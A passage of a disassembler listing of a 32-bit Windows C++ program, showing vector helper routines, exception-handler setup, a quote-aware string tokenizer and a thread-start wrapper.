		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A490	proc near		; CODE XREF: sub_401E47j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[esp+0Ch+var_4], 0
		call	sub_4013E3
		mov	ecx, [esp+0Ch+arg_4]
		mov	edi, [esp+0Ch+arg_0]
		sub	eax, ecx
		push	eax
		push	ecx
		push	edi
		mov	ecx, esi
		call	sub_4012B2
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ecx
		retn	8
sub_40A490	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A4D0:				; CODE XREF: ___:0040194Cj
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	1
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_402112
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A500	proc near		; CODE XREF: sub_4011EAj

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A500
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		mov	edi, [esp+44h+arg_8]
		mov	esi, ecx
		test	edi, edi
		mov	[esp+44h+var_38], 0
		jnz	short loc_40A541
		mov	esi, [esp+44h+arg_0]
		push	offset byte_448F30
		mov	ecx, esi
		call	sub_401870
		jmp	loc_40A674
; ---------------------------------------------------------------------------


loc_40A541:				; CODE XREF: sub_40A500+2Aj
		lea	eax, [esp+44h+arg_8]
		lea	ecx, [esp+44h+var_34]
		push	eax
		call	sub_40169A
		mov	ecx, [esi+9]
		mov	[esp+44h+var_4], 1
		push	ecx
		lea	ecx, [esp+48h+var_24]
		call	sub_401870
		lea	ecx, [esp+44h+var_24]
		mov	byte ptr [esp+44h+var_4], 2
		call	sub_4014DD
		mov	[esp+44h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jz	loc_40A625
		push	ebx


loc_40A581:				; CODE XREF: sub_40A500+11Ej
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40A590


loc_40A587:				; CODE XREF: sub_40A500+8Ej
		inc	eax
		mov	[esp+48h+var_3C], eax
		cmp	[eax], dl
		jz	short loc_40A587


loc_40A590:				; CODE XREF: sub_40A500+85j
		cmp	byte ptr [eax],	22h
		setz	bl
		test	bl, bl
		jz	short loc_40A59F
		inc	eax
		mov	[esp+48h+var_3C], eax


loc_40A59F:				; CODE XREF: sub_40A500+98j
		lea	edx, [esp+48h+var_3C]
		lea	ecx, [esp+48h+var_34]
		push	edx
		call	sub_401997
		mov	eax, [esp+48h+var_3C]
		test	bl, bl
		mov	cl, [eax]
		jz	short loc_40A5EF
		test	cl, cl
		jz	short loc_40A5D7


loc_40A5BB:				; CODE XREF: sub_40A500+D5j
		cmp	cl, 22h
		jnz	short loc_40A5CC
		mov	cl, [eax+1]
		cmp	cl, 20h
		jz	short loc_40A5D7
		test	cl, cl
		jz	short loc_40A5D7


loc_40A5CC:				; CODE XREF: sub_40A500+BEj
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A5BB


loc_40A5D7:				; CODE XREF: sub_40A500+B9j
					; sub_40A500+C6j ...
		cmp	byte ptr [eax],	0
		jz	short loc_40A61A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		mov	cl, [eax+1]
		test	cl, cl
		jz	short loc_40A61A
		add	eax, 2
		jmp	short loc_40A616
; ---------------------------------------------------------------------------


loc_40A5EF:				; CODE XREF: sub_40A500+B5j
		test	cl, cl
		jz	short loc_40A604
		mov	dl, [edi]


loc_40A5F5:				; CODE XREF: sub_40A500+102j
		cmp	cl, dl
		jz	short loc_40A604
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A5F5


loc_40A604:				; CODE XREF: sub_40A500+F1j
					; sub_40A500+F7j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40A61A
		cmp	cl, [edi]
		jnz	short loc_40A61A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		inc	eax


loc_40A616:				; CODE XREF: sub_40A500+EDj
		mov	[esp+48h+var_3C], eax


loc_40A61A:				; CODE XREF: sub_40A500+DAj
					; sub_40A500+E8j ...
		mov	cl, [eax]
		test	cl, cl
		jnz	loc_40A581
		pop	ebx


loc_40A625:				; CODE XREF: sub_40A500+7Aj
		lea	ecx, [esp+44h+var_34]
		call	sub_4011F9
		mov	ecx, [esp+44h+arg_4]
		cmp	ecx, eax
		jb	short loc_40A63D
		push	offset byte_448F30
		jmp	short loc_40A64A
; ---------------------------------------------------------------------------


loc_40A63D:				; CODE XREF: sub_40A500+134j
		push	ecx
		lea	ecx, [esp+48h+var_34]
		call	sub_401F82
		mov	eax, [eax]
		push	eax


loc_40A64A:				; CODE XREF: sub_40A500+13Bj
		mov	esi, [esp+48h+arg_0]
		mov	ecx, esi
		call	sub_401870
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_38], 1
		call	sub_401226
		lea	ecx, [esp+44h+var_34]
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401596
; ---------------------------------------------------------------------------


loc_40A674:				; CODE XREF: sub_40A500+3Cj
		mov	ecx, [esp+44h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_40A500	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A700	proc near		; CODE XREF: sub_4016B8j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	eax, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	0
		push	eax
		push	edx
		push	esi
		mov	[esp+18h+var_4], 0
		call	sub_4011EA
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	0Ch
sub_40A700	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A740	proc near		; CODE XREF: sub_40202Cj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		pop	esi
		retn	4
sub_40A740	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A770	proc near		; CODE XREF: sub_401A9Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015E1
		retn	4
sub_40A770	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A790	proc near		; CODE XREF: sub_401479j

arg_0		= dword	ptr  4

		mov	eax, [ecx+9]
		mov	ecx, [esp+arg_0]
		add	eax, ecx
		retn	4
sub_40A790	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A7B0:				; CODE XREF: ___:004014A6j
		mov	eax, [ecx+9]
		mov	ecx, [esp+4]
		add	eax, ecx
		retn	4
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7D0	proc near		; CODE XREF: sub_401389j
		mov	eax, [ecx+9]
		retn
sub_40A7D0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7F0	proc near		; CODE XREF: sub_4017EEj
		mov	eax, [ecx+9]
		retn
sub_40A7F0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A810	proc near		; CODE XREF: sub_4014DDj
		mov	eax, [ecx+9]
		retn
sub_40A810	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A830	proc near		; CODE XREF: sub_40169Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_40A830	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A860	proc near		; CODE XREF: sub_401596j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019B5
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
sub_40A860	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
byte_40A893	db 0Dh dup(90h)		; DATA XREF: ___:00446534o
					; ___:00446578o ...
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8B0	proc near		; CODE XREF: sub_4011F9j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40A8BA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40A8BA:				; CODE XREF: sub_40A8B0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_40A8B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8E0	proc near		; CODE XREF: sub_401F82j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_4011F9
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_40A8F8
		mov	ecx, esi
		call	sub_401F05


loc_40A8F8:				; CODE XREF: sub_40A8E0+Fj
		mov	ecx, esi
		call	sub_401D2F
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_40A8E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A920	proc near		; CODE XREF: sub_401997j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401659
		push	eax
		mov	ecx, esi
		call	sub_4016F9
		pop	esi
		retn	4
sub_40A920	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A950	proc near		; CODE XREF: sub_401D2Fj
		mov	eax, [ecx+4]
		retn
sub_40A950	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A970	proc near		; CODE XREF: sub_401659j
		mov	eax, [ecx+8]
		retn
sub_40A970	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A990	proc near		; CODE XREF: sub_4016F9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401D2F
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_4013D9
		mov	ecx, edi
		call	sub_401D2F
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_40A990	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9E0	proc near		; CODE XREF: sub_4019B5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_40AA00


loc_40A9F1:				; CODE XREF: sub_40A9E0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_4018C0
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_40A9F1


loc_40AA00:				; CODE XREF: sub_40A9E0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40A9E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AA20:				; CODE XREF: sub_401F05j
		push	0FFFFFFFFh
		push	offset loc_439DB9
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		call	near ptr 76081F67h
		nop
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+14h]
		push	offset dword_440088
		push	edx
		call	sub_437B22
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AAA0	proc near		; CODE XREF: sub_4011EFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_40AAA0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AAC0	proc near		; CODE XREF: sub_4013D9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40AB8B
		mov	ecx, esi
		call	sub_4011F9
		cmp	edi, eax
		jnb	short loc_40AAF3
		mov	ecx, esi
		call	sub_4011F9
		mov	ebp, eax
		jmp	short loc_40AAF5
; ---------------------------------------------------------------------------


loc_40AAF3:				; CODE XREF: sub_40AAC0+26j
		mov	ebp, edi


loc_40AAF5:				; CODE XREF: sub_40AAC0+31j
		mov	ecx, esi
		call	sub_4011F9
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401DE8
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010CD
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_402194
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019B5
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_4011F9
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AB8B:				; CODE XREF: sub_40AAC0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_40ABE9
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_402194
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401E8D
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40ABE9:				; CODE XREF: sub_40AAC0+D8j
		test	edi, edi
		jbe	short loc_40AC23
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4010CD
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_4020CC
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401E8D
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_40AC23:				; CODE XREF: sub_40AAC0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40AAC0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AC90	proc near		; CODE XREF: sub_4018C0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_1
		pop	ecx
		retn	4
sub_40AC90	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACB0	proc near		; CODE XREF: sub_4010CDj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_40ACE2
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_40ACC6:				; CODE XREF: sub_40ACB0+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_40213F
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_40ACC6
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40ACE2:				; CODE XREF: sub_40ACB0+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40ACB0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD00	proc near		; CODE XREF: sub_402194j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_40AD27
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_40AD16:				; CODE XREF: sub_40AD00+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_40213F
		add	esi, 4
		dec	edi
		jnz	short loc_40AD16
		pop	esi
		pop	ebx


loc_40AD27:				; CODE XREF: sub_40AD00+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_40AD00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AD40	proc near		; CODE XREF: sub_401DE8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4014D8
sub_40AD40	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD70	proc near		; CODE XREF: sub_40213Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401E01
		add	esp, 8
		retn	8
sub_40AD70	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADA0	proc near		; CODE XREF: sub_401E8Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40ADBD
		mov	edx, [esp+arg_8]
		push	esi


loc_40ADB1:				; CODE XREF: sub_40ADA0+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_40ADB1
		pop	esi

locret_40ADBD:				; CODE XREF: sub_40ADA0+Aj
		retn
sub_40ADA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADD0	proc near		; CODE XREF: sub_4020CCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_40ADF2
		mov	eax, [esp+arg_8]
		push	esi


loc_40ADE1:				; CODE XREF: sub_40ADD0+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_40ADE1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40ADF2:				; CODE XREF: sub_40ADD0+Aj
		mov	eax, [esp+arg_8]
		retn
sub_40ADD0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AE30	proc near		; CODE XREF: sub_4014D8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40AE3A
		xor	eax, eax


loc_40AE3A:				; CODE XREF: sub_40AE30+6j
		shl	eax, 2
		push	eax
		call	sub_437AEA
sub_40AE30	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE60	proc near		; CODE XREF: sub_401E01j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40AE7B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40AE7B:				; CODE XREF: sub_40AE60+11j
		retn
sub_40AE60	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE90	proc near		; CODE XREF: sub_401E88j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F014
		retn
sub_40AE90	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AEB0:				; CODE XREF: ___:00401721j
					; ___:loc_402045j
		push	esi
		mov	esi, ecx
		call	sub_40204F
		test	byte ptr [esp+8], 1
		jz	short loc_40AEC8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40AEC8:				; CODE XREF: ___:0040AEBDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEE0	proc near		; CODE XREF: sub_40204Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AEE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ecx], offset	off_43F014
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	sub_40174E


loc_40AF11:				; DATA XREF: sub_40AF22o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AEE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF22	proc near		; DATA XREF: ___:004401C4o
		mov	eax, offset loc_40AF11
		retn
sub_40AF22	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF50	proc near		; CODE XREF: sub_4014C4j
		call	sub_401712
		jmp	sub_4017BC
sub_40AF50	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF70	proc near		; CODE XREF: sub_401B2Cj
		call	sub_401627
		jmp	sub_4017CB
sub_40AF70	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF90	proc near		; CODE XREF: sub_4013DEj
		push	esi
		mov	esi, ecx
		push	esi
		push	offset sub_401429
		lea	eax, [esi+0Ch]
		push	0
		push	eax
		call	sub_40123A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40AFB2
		mov	al, 1
		mov	[esi+10h], al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AFB2:				; CODE XREF: sub_40AF90+19j
		mov	byte ptr [esi+10h], 0
		xor	al, al
		pop	esi
		retn
sub_40AF90	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AFD0:				; CODE XREF: ___:004011C2j
		push	ecx
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40AFF7
		mov	ecx, [esi+0Ch]
		lea	eax, [esp+4]
		push	eax
		push	ecx
		call	sub_401767
		mov	eax, [esp+0Ch]
		add	esp, 8
		mov	byte ptr [esi+10h], 0
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40AFF7:				; CODE XREF: ___:0040AFD9j
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B010	proc near		; CODE XREF: sub_40174Ej
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B02C
		mov	eax, [esi+0Ch]
		push	0Fh
		push	eax
		call	sub_401762
		add	esp, 8
		mov	byte ptr [esi+10h], 0


loc_40B02C:				; CODE XREF: sub_40B010+8j
		pop	esi
		retn
sub_40B010	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B040:				; CODE XREF: ___:004011F4j
		mov	eax, [ecx+0Ch]
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B060	proc near		; CODE XREF: sub_401429j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40B060
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	eax, [ecx]
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	dword ptr [eax+4]


loc_40B08E:				; DATA XREF: sub_40B0A1o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40B060	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0A1	proc near		; DATA XREF: ___:00440224o
		mov	eax, offset loc_40B08E
		retn
sub_40B0A1	endp

